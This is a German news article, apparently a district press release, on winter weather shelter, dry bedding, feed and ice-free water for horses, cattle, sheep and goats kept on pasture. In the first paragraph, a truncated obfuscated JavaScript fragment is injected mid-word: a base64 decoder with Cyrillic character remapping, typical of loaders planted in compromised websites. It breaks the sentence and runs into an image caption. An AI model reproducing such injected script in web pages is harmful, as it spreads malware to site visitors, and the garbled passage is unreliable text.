Witterungsschutz für Weidetiere unerlässlich!

11. Februar 2018 | Von Redaktion | Kategorie: Gesundheit

[(Kreisausschuss Lahn-Dill)]. Pferde, aber auch andere Nutztiere wie Rinder, Schafe oder Ziegen, die ganzjährig auf einer Weide gehalten werden, benötigen einen ausreichenden Witterungsschutz, so Wolfgang Hofmann, Erster Kreisbeigeordneter und der für den Tierschutz im Lahn-Dill-Kreis zuständige Dezernent.

Die Freil<script type=function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandhaltung von Pferden und anderen, sogenannten Nutztieren im Winter ist durchaus möglich, denn die Vierbeiner verfügen über ein anderes Kälteempfinden als der Mensch. Aber ein Unterstand und die Versorgung mit Wasser und Futter müssen gewährleistet sein (Foto: Anke Klabunde)." width="600" height="400" />

Die Haltung von Rindern, Pferden oder auch Schafen auf schneebedeckten Flächen bedeutet zunächst nicht automatisch eine tierschutzwidrige Handlung. So haben diese Nutztiere eine deutlich tiefere Behaglichkeitstemperatur als der Mensch. Dadurch können sie sich einem weiten Temperaturbereich bequem anpassen. Selbst Temperaturen bis minus 15 Grad Celsius werden in der Regel problemlos verkraftet. Pferde und Rinder entwickeln ein besonders dichtes Fell, wenn sie durchgängig im Freien gehalten werden. Unterhautfett und Unterhaare geben eine gute Isolationswirkung. Wichtig ist vor allem, dass die Tiere gesund sind, gut versorgt werden und ausreichend Möglichkeit der Bewegung haben.

Feucht und kalt zugleich – das behagt den Tieren nicht

Das gleichzeitige Auftreten von feuchtem Fell und kalter Zugluft jedoch löst das Suchen nach geschützten Arealen aus. Deshalb müssen geeignete Witterungsschutzeinrichtungen vorhanden sein, die zudem einen trockenen, sauberen und weichen Untergrund aufweisen müssen, so dass die Tiere sich verhaltensgemäß ablegen können.

Hecken, Büsche und gepolsterte Liegeflächen

Witterungsschutz kann durch natürliche Begebenheiten, wie Hecken, Büsche, Waldflächen gewährleistet sein. Die Liegeflächen wären dann beispielsweise dick einzustreuen (zu „polstern“) und die Strohfläche regelmäßig zu erneuern. Rinder sind zwar „Hartbodengänger“, aber „Weichbodenlieger“. Nur wenn Rinder sich auf einem für sie angenehmen Untergrund ablegen können, ist eine gesunde Verdauung gewährleistet. Auf verschlammten, überdüngten, aber auch schneebedeckten und hartgefrorenen Flächen können sich die Tiere nicht artgerecht niederlegen.

Mobile Unterstände – offene Strohburgen

Sollten solche Voraussetzungen nicht vorliegen, sind künstliche Einrichtungen zu schaffen. In manchen Fällen genügen mitunter schon mobile Unterstände oder „offene Strohburgen“, hier ist der Phantasie der Tierhalter genügend Spielraum gegeben. Bei größeren Herden ist ein fester Unterstand in Form eines dreiseitig geschlossenen Weideschuppens oft unumgänglich. Auch hier müssen ausreichend große und trockene Liegeflächen vorhanden sein. Gegebenenfalls wäre auch hier einzustreuen. Die Plätze müssen sauber und weitgehend kotfrei sein.

Genügend Futter – gutes Tränkewasser

Das Vorhandensein von genügend Futter in dieser oder jener Form ist wichtig, um vor allem bei niedrigen Außentemperaturen den Tieren zusätzliche Energie zur Wärmeerzeugung zur Verfügung zu stellen. Die Winteraußenhaltung bringt naturgemäß einen höheren Futter- und Managementbedarf mit sich. So ist es auch wichtig, dass den Tieren zu jeder Zeit ausreichendes Tränkewasser von guter Qualität angeboten wird. Im Winter muss das Wasser eisfrei gehalten werden. Schnee bietet keinen Ersatz für Tränkewasser!

Tägliche, tiergesundheitliche Kontrollen sind gewissenhaft durchzuführen. Insbesondere hochtragende Kühe, Kälber und krankheitsanfällige Tiere bedürfen einer noch größeren Aufmerksamkeit! Kälbern ist generell eine eingestreute Schutzhütte anzubieten.

Die angesprochenen Problematiken treffen neben den angesprochenen Rindern und Pferden auch auf Schafe zu – und nur bedingt auf Ziegen! Diese sind deutlich schnee- und frostempfindlicher und sollten im Winter einen sicheren und wärmenden Weideschuppen zur Verfügung haben.

Wolfgang Hofmann: „Durch eine tierschutzgerechte Ausgestaltung der Haltungsbedingungen, durch tiergerechte Schutzeinrichtungen kann der Mensch viel zum Wohlergehen sei ner ihm anvertrauten Tiere beitragen – und diese bedanken sich dafür in aller Regel mit guten Leistungen.“

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